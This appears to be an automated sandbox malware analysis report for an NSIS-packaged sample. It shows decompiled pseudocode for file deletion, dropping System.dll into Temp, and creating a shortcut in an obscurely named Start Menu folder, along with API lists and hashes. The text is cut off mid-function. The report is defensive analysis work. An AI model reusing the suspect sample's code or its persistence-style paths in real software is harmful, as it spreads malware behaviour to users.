0x6f622114
0x6f62211a
0x6f62211c
0x6f622122
0x6f622139
0x6f622139
0x6f622139
0x6f622146
0x6f62214c
0x6f62214f
0x6f622155
0x6f622157
0x6f62215a
0x6f62215c
0x6f622163
0x6f622168
0x6f62216b
0x6f62216d
0x6f622172
0x6f622184
0x6f622184
0x6f622172
0x6f62216b
0x6f62215a
0x6f62218a
0x6f62218d
0x6f622197
0x6f62219f
0x6f6221ab
0x6f6221b1
0x6f6221b4
0x6f6220e6
0x6f6220e6
0x00000000
0x6f6220e6
0x6f6221ba
0x6f6221c0
0x6f6221c0
0x00000000
0x00000000
0x6f6221c2
0x6f6221c2
0x6f6221c2
0x6f6221c2
0x00000000
0x6f62218f
0x6f62218f
0x6f622195
0x00000000
0x00000000
0x00000000
0x6f622195
0x6f62218d
0x6f622125
0x6f62212b
0x6f62212d
0x6f622133
0x00000000
0x00000000
0x00000000
0x6f622133
0x6f6220f9
0x6f622100
0x6f622106
0x6f62210c
0x00000000
0x6f62210c
0x6f621d32
0x6f621d33
0x6f6220d0
0x6f6220d0
0x6f6220d6
0x6f6220d9
0x00000000
0x00000000
0x6f6220e0
0x6f6220e5
0x00000000
0x6f6220e5
0x6f621d3a
0x00000000
0x00000000
0x6f621d40
0x6f621d49
0x6f621d4e
0x6f621d54
0x00000000
0x00000000
0x6f621d5a
0x6f621d67
0x6f621d6d
0x6f621d77
0x6f621d7d
0x6f621d85
0x6f621d95
0x00000000
0x6f621d95

APIs

Part of subcall function 6F621215: GlobalAlloc.KERNEL32(?,6F621233,?,6F6212CF,-6F62404B,6F6211AB,-000000A0), ref: 6F62121D

GlobalAlloc.KERNELBASE(?,000014A4), ref: 6F621BC4
lstrcpyA.KERNEL32(00000008,?), ref: 6F621C0C
lstrcpyA.KERNEL32(00000408,?), ref: 6F621C16
GlobalFree.KERNEL32(00000000), ref: 6F621C29
GlobalFree.KERNEL32(?), ref: 6F621D09
GlobalFree.KERNEL32(?), ref: 6F621D0E
GlobalFree.KERNEL32(?), ref: 6F621D13
GlobalFree.KERNEL32(00000000), ref: 6F621EFA
lstrcpyA.KERNEL32(?,?), ref: 6F622098
GetModuleHandleA.KERNEL32(00000008), ref: 6F622114
LoadLibraryA.KERNELBASE(00000008), ref: 6F622125
GetProcAddress.KERNEL32(?,?), ref: 6F62217E
lstrlenA.KERNEL32(00000408), ref: 6F622198

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: f86c4b62e35123cd9fbbce36b6a3f7ae40b01bd506ab54bb035a6a5e311313f3
Instruction ID: df38efe913522a52dfab2db6406d5d07373c110223c3688ffaf647614f8b7315
Opcode Fuzzy Hash: f86c4b62e35123cd9fbbce36b6a3f7ae40b01bd506ab54bb035a6a5e311313f3
Instruction Fuzzy Hash: 71228C71A5860ADFDB108FB8C9847EDBBF4BF06315F20462AD1A5E6180DB766681CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004059F0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E004059F0(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				struct _WIN32_FIND_DATAA _v336;
				signed int _t40;
				char* _t53;
				signed int _t55;
				signed int _t58;
				signed int _t64;
				signed int _t66;
				void* _t68;
				signed char _t69;
				CHAR* _t71;
				void* _t72;
				CHAR* _t73;
				char* _t76;

				_t69 = _a8;
				_t73 = _a4;
				_v8 = _t69 & 0x00000004;
				_t40 = E00405CAE(__eflags, _t73);
				_v16 = _t40;
				if((_t69 & 0x00000008) != 0) {
					_t66 = DeleteFileA(_t73); // executed
					asm("sbb eax, eax");
					_t68 =  ~_t66 + 1;
					 *0x4247e8 =  *0x4247e8 + _t68;
					return _t68;
				}
				_a4 = _t69;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406228(0x421d58, _t73);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405C07(_t73);
					} else {
						lstrcatA(0x421d58, "\*.*");
					}
					__eflags =  *_t73;
					if( *_t73 != 0) {
						L10:
						lstrcatA(_t73, 0x40a014);
						L11:
						_t71 =  &(_t73[lstrlenA(_t73)]);
						_t40 = FindFirstFileA(0x421d58,  &_v336);
						__eflags = _t40 - 0xffffffff;
						_v12 = _t40;
						if(_t40 == 0xffffffff) {
							L29:
							__eflags = _a4;
							if(_a4 != 0) {
								_t32 = _t71 - 1;
								 *_t32 =  *(_t71 - 1) & 0x00000000;
								__eflags =  *_t32;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t76 =  &(_v336.cFileName);
							_t53 = E00405BEB( &(_v336.cFileName), 0x3f);
							__eflags =  *_t53;
							if( *_t53 != 0) {
								__eflags = _v336.cAlternateFileName;
								if(_v336.cAlternateFileName != 0) {
									_t76 =  &(_v336.cAlternateFileName);
								}
							}
							__eflags =  *_t76 - 0x2e;
							if( *_t76 != 0x2e) {
								L19:
								E00406228(_t71, _t76);
								__eflags = _v336.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t55 = E004059A8(__eflags, _t73, _v8);
									__eflags = _t55;
									if(_t55 != 0) {
										E0040534F(0xfffffff2, _t73);
									} else {
										__eflags = _v8 - _t55;
										if(_v8 == _t55) {
											 *0x4247e8 =  *0x4247e8 + 1;
										} else {
											E0040534F(0xfffffff1, _t73);
											E00406007(_t72, _t73, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004059F0(__eflags, _t73, _a8);
									}
								}
								goto L27;
							}
							_t64 =  *((intOrPtr*)(_t76 + 1));
							__eflags = _t64;
							if(_t64 == 0) {
								goto L27;
							}
							__eflags = _t64 - 0x2e;
							if(_t64 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t76 + 2));
							if( *((char*)(_t76 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t58 = FindNextFileA(_v12,  &_v336);
							__eflags = _t58;
						} while (_t58 != 0);
						_t40 = FindClose(_v12);
						goto L29;
					}
					__eflags =  *0x421d58 - 0x5c;
					if( *0x421d58 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t40;
					if(_t40 == 0) {
						L31:
						__eflags = _a4;
						if(_a4 == 0) {
							L39:
							return _t40;
						}
						__eflags = _v16;
						if(_v16 != 0) {
							_t40 = E0040659C(_t73);
							__eflags = _t40;
							if(_t40 == 0) {
								goto L39;
							}
							E00405BC0(_t73);
							_t40 = E004059A8(__eflags, _t73, _v8 | 0x00000001);
							__eflags = _t40;
							if(_t40 != 0) {
								return E0040534F(0xffffffe5, _t73);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L33;
							}
							E0040534F(0xfffffff1, _t73);
							return E00406007(_t72, _t73, 0);
						}
						L33:
						 *0x4247e8 =  *0x4247e8 + 1;
						return _t40;
					}
					__eflags = _t69 & 0x00000002;
					if((_t69 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004059fa
0x004059ff
0x00405a08
0x00405a0b
0x00405a13
0x00405a16
0x00405a19
0x00405a21
0x00405a23
0x00405a24
0x00000000
0x00405a24
0x00405a2f
0x00405a32
0x00405a32
0x00405a32
0x00405a36
0x00405a49
0x00405a50
0x00405a55
0x00405a59
0x00405a69
0x00405a5b
0x00405a61
0x00405a61
0x00405a6e
0x00405a71
0x00405a7c
0x00405a82
0x00405a87
0x00405a97
0x00405a99
0x00405a9f
0x00405aa2
0x00405aa5
0x00405b5d
0x00405b5d
0x00405b61
0x00405b63
0x00405b63
0x00405b63
0x00405b63
0x00000000
0x00000000
0x00000000
0x00000000
0x00405aab
0x00405aab
0x00405ab4
0x00405aba
0x00405abf
0x00405ac2
0x00405ac4
0x00405ac8
0x00405aca
0x00405aca
0x00405ac8
0x00405acd
0x00405ad0
0x00405ae3
0x00405ae5
0x00405aea
0x00405af1
0x00405b0c
0x00405b11
0x00405b13
0x00405b37
0x00405b15
0x00405b15
0x00405b18
0x00405b2c
0x00405b1a
0x00405b1d
0x00405b25
0x00405b25
0x00405b18
0x00405af3
0x00405af9
0x00405afb
0x00405b01
0x00405b01
0x00405afb
0x00000000
0x00405af1
0x00405ad2
0x00405ad5
0x00405ad7
0x00000000
0x00000000
0x00405ad9
0x00405adb
0x00000000
0x00000000
0x00405add
0x00405ae1
0x00000000
0x00000000
0x00000000
0x00405b3c
0x00405b46
0x00405b4c
0x00405b4c
0x00405b57
0x00000000
0x00405b57
0x00405a73
0x00405a7a
0x00000000
0x00000000
0x00000000
0x00405a38
0x00405a38
0x00405a3a
0x00405b67
0x00405b69
0x00405b6c
0x00405bbd
0x00405bbd
0x00405bbd
0x00405b6e
0x00405b71
0x00405b7c
0x00405b81
0x00405b83
0x00000000
0x00000000
0x00405b86
0x00405b92
0x00405b97
0x00405b99
0x00000000
0x00405bb4
0x00405b9b
0x00405b9e
0x00000000
0x00000000
0x00405ba3
0x00000000
0x00405baa
0x00405b73
0x00405b73
0x00000000
0x00405b73
0x00405a40
0x00405a43
0x00000000
0x00000000
0x00000000
0x00405a43

APIs

DeleteFileA.KERNELBASE(?,?,76783410,76782EE0,00000000), ref: 00405A19
lstrcatA.KERNEL32(00421D58,\*.*,00421D58,?,?,76783410,76782EE0,00000000), ref: 00405A61
lstrcatA.KERNEL32(?,0040A014,?,00421D58,?,?,76783410,76782EE0,00000000), ref: 00405A82
lstrlenA.KERNEL32(?,?,0040A014,?,00421D58,?,?,76783410,76782EE0,00000000), ref: 00405A88
FindFirstFileA.KERNEL32(00421D58,?,?,?,0040A014,?,00421D58,?,?,76783410,76782EE0,00000000), ref: 00405A99
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405B46
FindClose.KERNEL32(00000000), ref: 00405B57

Strings

"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 004059F0
\*.*, xrefs: 00405A5B

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\sOjxIU25DP.exe"$\*.*
API String ID: 2035342205-4198640969
Opcode ID: b37783bc82ce3601be6e57f77cb93a8b696e09e0d779d0e9e714727bf412880d
Instruction ID: f9fcd54ed45cecb295d84a7a00b3a90cccdf7efad1d91ba0bada197ffcbf79f0
Opcode Fuzzy Hash: b37783bc82ce3601be6e57f77cb93a8b696e09e0d779d0e9e714727bf412880d
Instruction Fuzzy Hash: 0851C430900A44AADB21AB658C85BBF7A78DF42714F14417FF851711D2C77C7A82DE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00401759(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				CHAR* _t83;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402BCE(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E00405C2D(_t82);
				_push(_t82);
				_t83 = "Call";
				if(_t33 == 0) {
					lstrcatA(E00405BC0(E00406228(_t83, "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens\\kibbes\\Chloramide")), ??);
				} else {
					E00406228();
				}
				E00406503(_t83);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E0040659C(_t83);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405D9C(_t83);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E00405DC1(_t83, "true", (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0xc) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E0040534F(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x4247e8;
						goto L32;
					} else {
						E00406228(0x40ac20, 0x425000);
						E00406228(0x425000, _t83);
						E004062BB(_t75, 0x40ac20, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsnC2E5.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E00406228(0x425000, 0x40ac20);
						_t62 = E00405944("C:\Users\Arthur\AppData\Local\Temp\nsnC2E5.tmp\System.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x4247e8 =  &( *0x4247e8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(_t83);
								_push(0xfffffffa);
								E0040534F();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E0040534F(0xffffffea,  *(_t85 - 8)); // executed
				 *0x424814 =  *0x424814 + 1;
				_t43 = E00403192(_t77,  *((intOrPtr*)(_t85 - 0x20)),  *(_t85 - 0xc), _t75, _t75); // executed
				 *0x424814 =  *0x424814 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0xc), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0xc)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E004062BB(_t75, _t80, _t83, _t83, 0xffffffee);
					} else {
						E004062BB(_t75, _t80, _t83, _t83, 0xffffffe9);
						lstrcatA(_t83,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(_t83);
					E00405944();
					goto L29;
				}
				goto L33;
			}

0x00401759
0x00401760
0x00401769
0x0040176c
0x0040176f
0x00401774
0x00401775
0x0040177c
0x00401798
0x0040177e
0x0040177f
0x0040177f
0x0040179e
0x004017a8
0x004017a8
0x004017ac
0x004017af
0x004017b4
0x004017b6
0x004017b8
0x004017bd
0x004017bd
0x004017c8
0x004017c8
0x004017d9
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017df
0x004017e2
0x004017e5
0x004017e5
0x004017ec
0x004017fb
0x00401800
0x00401803
0x00401806
0x00000000
0x00000000
0x00401808
0x0040180b
0x00401865
0x0040186a
0x004015b0
0x004027bf
0x004027bf
0x00402a5a
0x00402a5d
0x00402a5d
0x00000000
0x0040180d
0x00401813
0x0040181e
0x0040182b
0x00401836
0x0040184c
0x0040184c
0x0040184f
0x00000000
0x00401855
0x00401855
0x00401856
0x00401873
0x00402a63
0x00402a63
0x00402a63
0x00401858
0x00401858
0x00401859
0x00401492
0x00402387
0x00402387
0x00402387
0x00401856
0x0040184f
0x00402a65
0x00402a69
0x00402a69
0x00401883
0x00401888
0x00401896
0x0040189b
0x004018a1
0x004018a5
0x004018a7
0x004018af
0x004018bb
0x004018a9
0x004018a9
0x004018ad
0x00000000
0x00000000
0x004018ad
0x004018c4
0x004018ca
0x004018cc
0x00000000
0x004018d2
0x004018d2
0x004018d5
0x004018ed
0x004018d7
0x004018da
0x004018e3
0x004018e3
0x004018f2
0x004018f7
0x00402382
0x00000000
0x00402382
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00406228: lstrcpynA.KERNEL32(?,?,00000400,00403533,00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00406235

Part of subcall function 0040534F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
Part of subcall function 0040534F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00402EC9,00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000), ref: 004053AB
Part of subcall function 0040534F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll), ref: 004053BD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053E3
Part of subcall function 0040534F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004053FD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040540B

Strings

Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll, xrefs: 00401826, 00401842
C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 004017A3, 00401812, 00401830
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide, xrefs: 00401786

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp$C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide$Call
API String ID: 1941528284-4222027574
Opcode ID: 44c37765ac9e413803e86b70a75e0e02e4cb46086e42f4b29296900baa48c321
Instruction ID: 94ce822b9f6a6483fb8de35dc0b51f709499be211a85e0d844596cfba341e8bc
Opcode Fuzzy Hash: 44c37765ac9e413803e86b70a75e0e02e4cb46086e42f4b29296900baa48c321
Instruction Fuzzy Hash: 0541B931900515BACF107BB5DC45EAF7AB8DF05369B60863FF422B11E1CA7C8A528A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040216B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0040216B(void* __eflags) {
				signed int _t55;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t82;
				intOrPtr* _t84;
				int _t87;
				intOrPtr* _t95;
				signed int _t105;
				signed int _t109;
				void* _t111;

				 *(_t111 - 0x38) = E00402BCE(0xfffffff0);
				 *(_t111 - 0xc) = E00402BCE(0xffffffdf);
				 *((intOrPtr*)(_t111 - 0x88)) = E00402BCE(2);
				 *((intOrPtr*)(_t111 - 0x34)) = E00402BCE(0xffffffcd);
				 *((intOrPtr*)(_t111 - 0x78)) = E00402BCE(0x45);
				_t55 =  *(_t111 - 0x18);
				 *(_t111 - 0x90) = _t55 & 0x00000fff;
				_t105 = _t55 & 0x00008000;
				_t109 = _t55 >> 0x0000000c & 0x00000007;
				 *(_t111 - 0x74) = _t55 >> 0x00000010 & 0x0000ffff;
				if(E00405C2D( *(_t111 - 0xc)) == 0) {
					E00402BCE(0x21);
				}
				_t59 = _t111 + 8;
				__imp__CoCreateInstance(0x408418, _t87, 1, 0x408408, _t59); // executed
				if(_t59 < _t87) {
					L15:
					 *((intOrPtr*)(_t111 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t63 =  *((intOrPtr*)(_t111 + 8));
					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x408428, _t111 - 0x30);
					 *((intOrPtr*)(_t111 - 8)) = _t64;
					if(_t64 >= _t87) {
						_t67 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
						if(_t105 == _t87) {
							_t84 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens\\kibbes\\Chloramide");
						}
						if(_t109 != _t87) {
							_t82 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
						}
						_t69 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x74));
						_t95 =  *((intOrPtr*)(_t111 - 0x34));
						if( *_t95 != _t87) {
							_t80 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x90));
						}
						_t71 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x88)));
						_t73 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x78)));
						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x38), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
								_t78 =  *((intOrPtr*)(_t111 - 0x30));
								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), 1);
							}
						}
						_t75 =  *((intOrPtr*)(_t111 - 0x30));
						 *((intOrPtr*)( *_t75 + 8))(_t75);
					}
					_t65 =  *((intOrPtr*)(_t111 + 8));
					 *((intOrPtr*)( *_t65 + 8))(_t65);
					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
						_push(0xfffffff4);
					} else {
						goto L15;
					}
				}
				E00401423();
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t111 - 4));
				return 0;
			}

0x00402174
0x0040217e
0x00402188
0x00402195
0x004021a0
0x004021a3
0x004021bd
0x004021c3
0x004021c9
0x004021cc
0x004021d6
0x004021da
0x004021da
0x004021df
0x004021f0
0x004021f8
0x004022d4
0x004022d4
0x004022db
0x004021fe
0x004021fe
0x0040220d
0x00402211
0x00402214
0x0040221a
0x00402228
0x0040222b
0x0040222d
0x00402238
0x00402238
0x0040223d
0x0040223f
0x00402246
0x00402246
0x00402249
0x00402252
0x00402255
0x0040225a
0x0040225c
0x00402269
0x00402269
0x0040226c
0x00402278
0x0040227b
0x00402284
0x0040228a
0x00402291
0x004022aa
0x004022ac
0x004022ba
0x004022ba
0x004022aa
0x004022bd
0x004022c3
0x004022c3
0x004022c6
0x004022cc
0x004022d2
0x004022e7
0x00000000
0x00000000
0x00000000
0x004022d2
0x004022dd
0x00402a5d
0x00402a69

APIs

CoCreateInstance.OLE32(00408418,?,00000001,00408408,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F0
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408408,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004022A2

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide, xrefs: 00402230

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide
API String ID: 123533781-483106015
Opcode ID: 0e325361fd98e8e04698707a333b9918b1ae145105681a619ef4b8ced044c55a
Instruction ID: 849b10897e6abda320580ec11bca4de19dcbd678575eb1056a8185fe26502568
Opcode Fuzzy Hash: 0e325361fd98e8e04698707a333b9918b1ae145105681a619ef4b8ced044c55a
Instruction Fuzzy Hash: BC510671A00208AFCB00DFE4C988A9D7BB6EF48314F2045BAF515EB2D1DA799981CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00406925 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406925() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
